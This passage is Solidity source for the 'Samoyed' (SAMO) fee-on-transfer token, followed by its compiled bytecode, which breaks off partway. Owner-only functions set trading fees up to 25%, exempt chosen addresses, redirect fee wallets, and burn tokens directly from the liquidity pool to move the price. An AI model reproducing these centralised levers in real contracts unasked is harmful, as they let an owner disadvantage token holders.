buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Samoyed", "SAMO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 4; uint256 _buyDevFee = 3; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 3; uint256 _sellDevFee = 4; uint256 totalSupply = 1_000_000_000_000 * 1e18; maxTransactionAmount = 10_000_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn maxWallet = 20_000_000_000 * 1e18; // 2% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10_000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x6c98CC88E13B87ed2303a6F1496d8E03B07c026b); // set as marketing wallet devWallet = address(0x6c98CC88E13B87ed2303a6F1496d8E03B07c026b); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 10000) / 1e18, "Cannot set maxTransactionAmount lower than 0.01%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610ac9578063f637434214610ae9578063f8b45b0514610aff578063fe72b27a14610b1557600080fd5b8063dd62ed3e14610a42578063e2f4560514610a88578063e884f26014610a9e578063f11a24d314610ab357600080fd5b8063c876d0b9116100dc578063c876d0b9146109dc578063c8c8ebe4146109f6578063d257b34f14610a0c578063d85ba06314610a2c57600080fd5b8063bbc0c7421461095d578063c02466681461097c578063c17b5b8c1461099c578063c18bc195146109bc57600080fd5b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a00146108d7578063a9059cbb146108ed578063aacebbe31461090d578063b62496f51461092d57600080fd5b80639ec22c0e146108755780639fccce321461088b578063a0d82dc5146108a1578063a457c2d7146108b757600080fd5b8063924de9b7116101c1578063924de9b71461080a57806395d89b411461082a5780639a7a23d61461083f5780639c3b4fdc1461085f57600080fd5b80638da5cb5b146107b65780638ea5220f146107d457806392136913146107f457600080fd5b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a8741461074b5780637bce5a041461076b5780638095d564146107815780638a8c523c146107a157600080fd5b8063715018a6146106e1578063730c1888146106f6578063751039fc146107165780637571336a1461072b57600080fd5b80634fbee193116102a65780634fbee1931461063c5780636a486a8e146106755780636ddd17131461068b57806370a08231146106ab57600080fd5b8063313ce567146105b257806339509351146105ce57806349bd5a5e146105ee5780634a62bb651461062257600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461054c57806327c8f8351461056c5780632c3e486c146105825780632e82f1a01461059857600080fd5b8063199ffc72146104ea5780631a8145bb146105005780631f3fed8f14610516578063203e727e1461052c57600080fd5b80631694505e1161038b5780631694505e1461044757806318160ddd146104935780631816467f146104b2578063184c16c5146104d457600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b35565b6040516103df9190612c9a565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612d04565b610bc7565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004612d30565b602080526000908152604090205460ff1681565b34801561045357600080fd5b5061047b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b34801561049f57600080fd5b506002545b6040519081526020016103df565b3480156104be57600080fd5b506104d26104cd366004612d30565b610bdd565b005b3480156104e057600080fd5b506104a4600f5481565b3480156104f657600080fd5b506104a4600b5481565b34801561050c57600080fd5b506104a4601d5481565b34801561052257600080fd5b506104a4601c5481565b34801561053857600080fd5b506104d2610547366004612d4d565b610c6d565b34801561055857600080fd5b50610408610567366004612d66565b610d4b565b34801561057857600080fd5b5061047b61dead81565b34801561058e57600080fd5b506104a4600d5481565b3480156105a457600080fd5b50600c546104089060ff1681565b3480156105be57600080fd5b50604051601281526020016103df565b3480156105da57600080fd5b506104086105e9366004612d04565b610df5565b3480156105fa57600080fd5b5061047b7f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c80981565b34801561062e57600080fd5b506011546104089060ff1681565b34801561064857600080fd5b50610408610657366004612d30565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561068157600080fd5b506104a460185481565b34801561069757600080fd5b506011546104089062010000900460ff1681565b3480156106b757600080fd5b506104a46106c6366004612d30565b6001600160a01b031660009081526020819052604090205490565b3480156106ed57600080fd5b506104d2610e31565b34801561070257600080fd5b506104d2610711366004612db7565b610e67565b34801561072257600080fd5b50610408610f90565b34801561073757600080fd5b506104d2610746366004612dec565b610fcd565b34801561075757600080fd5b5060065461047b906001600160a01b031681565b34801561077757600080fd5b506104a460155481565b34801561078d57600080fd5b506104d261079c366004612e21565b611021565b3480156107ad57600080fd5b506104d26110c7565b3480156107c257600080fd5b506005546001600160a01b031661047b565b3480156107e057600080fd5b5060075461047b906001600160a01b031681565b34801561080057600080fd5b506104a460195481565b34801561081657600080fd5b506104d2610825366004612e4d565b611108565b34801561083657600080fd5b506103d261114e565b34801561084b57600080fd5b506104d261085a366004612dec565b61115d565b34801561086b57600080fd5b506104a460175481565b34801561088157600080fd5b506104a460105481565b34801561089757600080fd5b506104a4601e5481565b3480156108ad57600080fd5b506104a4601b5481565b3480156108c357600080fd5b506104086108d2366004612d04565b61123d565b3480156108e357600080fd5b506104a4600e5481565b3480156108f957600080fd5b50610408610908366004612d04565b6112d6565b34801561091957600080fd5b506104d2610928366004612d30565b6112e3565b34801561093957600080fd5b50610408610948366004612d30565b60216020526000908152604090205460ff1681565b34801561096957600080fd5b5060115461040890610100900460ff1681565b34801561098857600080fd5b506104d2610997366004612dec565b61136a565b3480156109a857600080fd5b506104d26109b7366004612e21565b6113f3565b3480156109c857600080fd5b506104d26109d7366004612d4d565b611496565b3480156109e857600080fd5b506013546104089060ff1681565b348015610a0257600080fd5b506104a460085481565b348015610a1857600080fd5b50610408610a27366004612d4d565b611567565b348015610a3857600080fd5b506104a460145481565b348015610a4e57600080fd5b506104a4610a5d366004612e68565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a9457600080fd5b506104a460095481565b348015610aaa57600080fd5b506104086116be565b348015610abf57600080fd5b506104a460165481565b348015610ad557600080fd5b506104d2610ae4366004612d30565b6116fb565b348015610af557600080fd5b506104a4601a5481565b348015610b0b57600080fd5b506104a4600a5481565b348015610b2157600080fd5b50610408610b30366004612d4d565b611796565b606060038054610b4490612ea1565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090612ea1565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611a10565b50600192915050565b6005546001600160a01b03163314610c105760405162461bcd60e51b8152600401610c0790612edc565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c975760405162461bcd60e51b8152600401610c0790612edc565b670de0b6b3a7640000612710610cac60025490565b610cb7906001612f27565b610cc19190612f46565b610ccb9190612f46565b811015610d335760405162461bcd60e51b815260206004820152603060248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526f6c6f776572207468616e20302e30312560801b6064820152608401610c07565b610d4581670de0b6b3a7640000612f27565b60085550565b6000610d58848484611b34565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ddd5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c07565b610dea8533858403611a10565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bd4918590610e2c908690612f68565b611a10565b6005546001600160a01b03163314610e5b5760405162461bcd60e51b8152600401610c0790612edc565b610e656000612409565b565b6005546001600160a01b03163314610e915760405162461bcd60e51b8152600401610c0790612edc565b610258831015610eff5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c07565b6103e88211158015610f0f575060015b610f745760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c07565b600d92909255600b55600c805460ff1916911515919091179055565b6005546000906001600160a01b03163314610fbd5760405162461bcd60e51b8152600401610c0790612edc565b506011805460ff19169055600190565b6005546001600160a01b03163314610ff75760405162461bcd60e51b8152600401610c0790612edc565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461104b5760405162461bcd60e51b8152600401610c0790612edc565b601583905560168290556017819055806110658385612f68565b61106f9190612f68565b601481815510156110c25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610c07565b505050565b6005546001600160a01b031633146110f15760405162461bcd60e51b8152600401610c0790612edc565b6011805462ffff0019166201010017905542600e55565b6005546001600160a01b031633146111325760405162461bcd60e51b8152600401610c0790612edc565b60118054911515620100000262ff000019909216919091179055565b606060048054610b4490612ea1565b6005546001600160a01b031633146111875760405162461bcd60e51b8152600401610c0790612edc565b7f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c8096001600160a01b0316826001600160a01b0316141561122f5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c07565b611239828261245b565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c07565b6112cc3385858403611a10565b5060019392505050565b6000610bd4338484611b34565b6005546001600160a01b0316331461130d5760405162461bcd60e51b8152600401610c0790612edc565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113945760405162461bcd60e51b8152600401610c0790612edc565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461141d5760405162461bcd60e51b8152600401610c0790612edc565b6019839055601a829055601b819055806114378385612f68565b6114419190612f68565b6018819055601910156110c25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c07565b6005546001600160a01b031633146114c05760405162461bcd60e51b8152600401610c0790612edc565b670de0b6b3a76400006103e86114d560025490565b6114e0906005612f27565b6114ea9190612f46565b6114f49190612f46565b81101561154f5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c07565b61156181670de0b6b3a7640000612f27565b600a5550565b6005546000906001600160a01b031633146115945760405162461bcd60e51b8152600401610c0790612edc565b620186a06115a160025490565b6115ac906001612f27565b6115b69190612f46565b8210156116235760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c07565b6103e861162f60025490565b61163a906005612f27565b6116449190612f46565b8211156116b05760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610c07565b50600981905560015b919050565b6005546000906001600160a01b031633146116eb5760405162461bcd60e51b8152600401610c0790612edc565b506013805460ff19169055600190565b6005546001600160a01b031633146117255760405162461bcd60e51b8152600401610c0790612edc565b6001600160a01b03811661178a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c07565b61179381612409565b50565b6005546000906001600160a01b031633146117c35760405162461bcd60e51b8152600401610c0790612edc565b600f546010546117d39190612f68565b42116118215760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610c07565b6103e88211156118865760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610c07565b426010556040516370a0823160e01b81526001600160a01b037f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c80916600482015260009030906370a0823190602401602060405180830381865afa1580156118f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119159190612f80565b9050600061192f61271061192984876124af565b906124c2565b90508015611964576119647f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c80961dead836124ce565b60007f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c8099050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156119c457600080fd5b505af11580156119d8573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6001600160a01b038316611a725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c07565b6001600160a01b038216611ad35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c07565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611b5a5760405162461bcd60e51b8152600401610c0790612f99565b6001600160a01b038216611b805760405162461bcd60e51b8152600401610c0790612fde565b80611b91576110c2838360006124ce565b60115460ff161561204b576005546001600160a01b03848116911614801590611bc857506005546001600160a01b03838116911614155b8015611bdc57506001600160a01b03821615155b8015611bf357506001600160a01b03821661dead14155b8015611c095750600554600160a01b900460ff16155b1561204b57601154610100900460ff16611ca1576001600160a01b0383166000908152601f602052604090205460ff1680611c5c57506001600160a01b0382166000908152601f602052604090205460ff165b611ca15760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c07565b60135460ff1615611de8576005546001600160a01b03838116911614801590611cfc57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611d3a57507f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c8096001600160a01b0316826001600160a01b031614155b15611de857326000908152601260205260409020544311611dd55760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610c07565b3260009081526012602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611e2857506001600160a01b038216600090815260208052604090205460ff16155b15611f0c57600854811115611e9d5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c07565b600a546001600160a01b038316600090815260208190526040902054611ec39083612f68565b1115611f075760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b61204b565b6001600160a01b03821660009081526021602052604090205460ff168015611f4c57506001600160a01b038316600090815260208052604090205460ff16155b15611fc257600854811115611f075760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c07565b6001600160a01b038216600090815260208052604090205460ff1661204b57600a546001600160a01b0383166000908152602081905260409020546120079083612f68565b111561204b5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b3060009081526020819052604090205460095481108015908190612077575060115462010000900460ff165b801561208d5750600554600160a01b900460ff16155b80156120b257506001600160a01b03851660009081526021602052604090205460ff16155b80156120d757506001600160a01b0385166000908152601f602052604090205460ff16155b80156120fc57506001600160a01b0384166000908152601f602052604090205460ff16155b1561212a576005805460ff60a01b1916600160a01b17905561211c612623565b6005805460ff60a01b191690555b600554600160a01b900460ff1615801561215c57506001600160a01b03841660009081526021602052604090205460ff165b801561216a5750600c5460ff165b80156121855750600d54600e546121819190612f68565b4210155b80156121aa57506001600160a01b0385166000908152601f602052604090205460ff16155b156121b9576121b761285d565b505b6005546001600160a01b0386166000908152601f602052604090205460ff600160a01b90920482161591168061220757506001600160a01b0385166000908152601f602052604090205460ff165b15612210575060005b600081156123f5576001600160a01b03861660009081526021602052604090205460ff16801561224257506000601854115b156122fa576122616064611929601854886124af90919063ffffffff16565b9050601854601a54826122749190612f27565b61227e9190612f46565b601d600082825461228f9190612f68565b9091555050601854601b546122a49083612f27565b6122ae9190612f46565b601e60008282546122bf9190612f68565b90915550506018546019546122d49083612f27565b6122de9190612f46565b601c60008282546122ef9190612f68565b909155506123d79050565b6001600160a01b03871660009081526021602052604090205460ff16801561232457506000601454115b156123d7576123436064611929601454886124af90919063ffffffff16565b9050601454601654826123569190612f27565b6123609190612f46565b601d60008282546123719190612f68565b90915550506014546017546123869083612f27565b6123909190612f46565b601e60008282546123a19190612f68565b90915550506014546015546123b69083612f27565b6123c09190612f46565b601c60008282546123d19190612f68565b90915550505b80156123e8576123e88730836124ce565b6123f28186613021565b94505b6124008787876124ce565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60006124bb8284612f27565b9392505050565b60006124bb8284612f46565b6001600160a01b0383166124f45760405162461bcd60e51b8152600401610c0790612f99565b6001600160a01b03821661251a5760405162461bcd60e51b8152600401610c0790612fde565b6001600160a01b038316600090815260208190526040902054818110156125925760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c07565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906125c9908490612f68565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161261591815260200190565b60405180910390a350505050565b3060009081526020819052604081205490506000601e54601c54601d5461264a9190612f68565b6126549190612f68565b90506000821580612663575081155b1561266d57505050565b60095461267b906014612f27565b83111561269357600954612690906014612f27565b92505b6000600283601d54866126a69190612f27565b6126b09190612f46565b6126ba9190612f46565b9